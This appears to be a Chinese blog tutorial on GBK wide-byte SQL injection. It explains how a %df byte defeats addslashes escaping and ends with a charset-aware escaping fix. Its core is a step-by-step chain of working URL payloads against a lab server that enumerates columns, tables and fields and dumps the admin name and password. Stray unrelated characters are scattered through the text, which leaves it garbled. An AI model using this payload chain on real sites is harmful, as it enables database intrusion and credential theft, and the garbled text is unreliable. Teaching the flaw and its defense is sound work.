概述
首先要先了解一個(gè)寬字節(jié)注入,寬字節(jié)注入主要是源于程序員設(shè)置數(shù)據(jù)庫(kù)編碼與php編碼設(shè)置為不同的兩個(gè)編碼,這樣就可能會(huì)產(chǎn)生寬字節(jié)注入。
栗子:
如果說PHP的編碼為UTF-8而MySQL的編碼設(shè)置為SET NAMES 'gbk'
或者SET character_set_client =gbk
,這樣配置會(huì)引起編碼轉(zhuǎn)換從而導(dǎo)致漏洞的產(chǎn)生。
這里要說明一小點(diǎn)的是:
SET NAMES 'x'
語句與這三個(gè)語句等價(jià):
mysql>SET character_set_client =x;
mysql>SET character_set_results =x;
mysql>SET character_set_connection =x;
也就是說你設(shè)置了SET NAMES 'x'
時(shí)就等于同時(shí)執(zhí)行了上面的3條語句预明,我理解的寬字節(jié)注入就是php發(fā)送請(qǐng)求到MySQL時(shí)使用了語句,SET NAMES 'gbk'
或者SET character_set_client =gbk
,進(jìn)行了一次編碼耙箍,但是又由于一些不經(jīng)意的字符集轉(zhuǎn)換導(dǎo)致了寬字節(jié)的注入撰糠。
寬字節(jié)
GB2312、GBK究西、GB18030窗慎、BIG5、Shift JIS等這些都是常說的寬字節(jié)卤材,實(shí)際上只有兩個(gè)字節(jié)遮斥。寬字節(jié)帶來的安全問題主要是吃ascll字符(一個(gè)字節(jié))的現(xiàn)象。
原理
1扇丛、在我們正常情況下使用addslashes
函數(shù)或是開啟PHPGPC
(注:在php5.4已上已給刪除
,并且需要說明一點(diǎn)术吗,GPC無法過濾$_SERVER
提交的參數(shù))時(shí)過濾GET、POST帆精、COOKIE较屿、REQUSET 提交的參數(shù)時(shí),黑客們使用的預(yù)定義字符會(huì)給轉(zhuǎn)義成添加反斜杠的字符串如下面的栗子所示
單引號(hào)(')= (\')
雙引號(hào)(") = (\")
反斜杠(\) = (\\)
URL編碼
%27===單引號(hào)
%20===空格
%23===#號(hào)
%5c===/反斜杠
2卓练、假如這個(gè)網(wǎng)站有寬字節(jié)注入隘蝎,那么我們提價(jià):
http://192.168.1.112:81/kuanzijieloudong/index.php?id=%df%27
這時(shí),假如我們出現(xiàn)現(xiàn)在使用的是addslashes
來過濾,那么就會(huì)發(fā)生如下的轉(zhuǎn)換過程
%df%27===(addslashes)===>%df%5c%27===(數(shù)據(jù)庫(kù)GBK)===>運(yùn)'
用戶輸入===過濾函數(shù)===代碼層$sql===mysql處理請(qǐng)求===MySQL中的SQL
這里可能有一些人沒看懂襟企,我可以粗略的解釋一下嘱么。
前端輸入%df%27
時(shí)首先經(jīng)過上面addslashes
函數(shù)轉(zhuǎn)義變成了%df%5c%27(%5c是反斜杠\)
,之后在數(shù)據(jù)庫(kù)查詢前因?yàn)樵O(shè)置了GBK編碼顽悼,即是在漢字編碼范圍內(nèi)兩個(gè)字節(jié)都會(huì)給重新編碼為一個(gè)漢字曼振。然后MySQL服務(wù)器就會(huì)對(duì)查詢語句進(jìn)行GBK編碼即是%df%5c
轉(zhuǎn)換成了漢字運(yùn)
几迄,而單引號(hào)就逃逸了出來须误,從而造成了注入漏洞昌妹。
一慌烧、舉個(gè)栗子
1令境、如下,寬字節(jié)注入的原理實(shí)例昨稼,連接字符集的gbk,對(duì)傳入的值用addslashes()做了轉(zhuǎn)義回还,另外PHP是把ID當(dāng)做一個(gè)字符串來接收的双戳,后面在閉合的時(shí)候需要注意下抛人,具體如下:
2妆距、次實(shí)驗(yàn)用于測(cè)試,寬字節(jié)注入點(diǎn)如下
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1
3函匕、這時(shí)當(dāng)我們用經(jīng)典的單引號(hào)嘗試對(duì)參數(shù)進(jìn)行干擾時(shí)發(fā)現(xiàn),貌似并任何反應(yīng)蚪黑,原因很明顯盅惜,因?yàn)閍ddslashes()已經(jīng)把我們提交的單引號(hào)進(jìn)行了轉(zhuǎn)義
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1'
4、現(xiàn)在忌穿,我們就可以嘗試?yán)脤捵址麃硗黄祁愃频霓D(zhuǎn)義問題抒寂,這里使用經(jīng)典的%df‘寬字符,如下掠剑,頁面返回?cái)?shù)據(jù)庫(kù)報(bào)錯(cuò)屈芜,說明我們的單引號(hào)已經(jīng)被帶入正常的SQL語句中執(zhí)行查詢了,也就是說朴译,用于轉(zhuǎn)義的那個(gè)‘\’已經(jīng)罷工了
5井佑、通過觀察打印出來的SQL語句,可以發(fā)現(xiàn)那個(gè)%df和‘\’,在gbk字符編碼中變成了‘運(yùn)’字眠寿,所以這才會(huì)造成轉(zhuǎn)義才會(huì)失效躬翁,既如此,閉合自然就非常簡(jiǎn)單了盯拱,因?yàn)槭亲址秃蟹ⅲ恍枰]合前面的單引號(hào),后面的語句直接注釋掉即可狡逢,具體操作如下:
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' and 1=1 %23 條件為真返回正常
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' and 1=12 %23 條件為假返回錯(cuò)誤
6宁舰、查詢當(dāng)前表的字段個(gè)數(shù)
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' order by 3 %23 為3時(shí) 返回正常
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' order by 4 %23 為4時(shí) 返回異常,說明只有當(dāng)前表3個(gè)字段
7奢浑、執(zhí)行union蛮艰,爆出對(duì)應(yīng)的數(shù)據(jù)顯示位
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,2,3 %23
8、收集當(dāng)前數(shù)據(jù)庫(kù)信息殷费,這里只是為了演示寬字節(jié)的正常注入流程印荔,就不再嘗試讀寫文件了低葫,暫時(shí)按照正常權(quán)限來
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,database(),version() %23
9、查出當(dāng)前庫(kù)中所有表名
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x74657374 %23 test的十六進(jìn)制編碼為0x74657374
10仍律、查出admin表中的所有字段名
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23
11嘿悬、最后去查出管理員賬號(hào)和密碼即可
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1, name,pass from admin limit 0,1 %23
安全防御方案:
對(duì)于寬字節(jié)編碼,有一種最好的修補(bǔ)就是
1.使用mysql_set_charset(utf8)指定字符集
2. 使用mysql_real_escape_string進(jìn)行轉(zhuǎn)義
原理是水泉,mysql_real_escape_string與addslashes的不同之處在于其會(huì)考慮當(dāng)前設(shè)置的字符集善涨,不會(huì)出現(xiàn)前面e5和5c拼接為一個(gè)寬字節(jié)的問題,但是這個(gè)“當(dāng)前字符集”如何確定呢草则?
就是使用mysql_set_charset進(jìn)行指定钢拧。
上述的兩個(gè)條件是“與”運(yùn)算的關(guān)系,少一條都不行炕横。